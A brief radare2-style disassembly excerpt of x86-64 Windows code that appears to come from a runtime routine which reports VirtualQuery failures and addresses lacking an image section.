nop dword [rax]
xor ebx, ebx
jmp 0x33d501667
mov rax, qword [0x33d507068]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.33d5015a0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.33d5015a0
nop
nop word cs:[rax + rax]
nop dword [rax]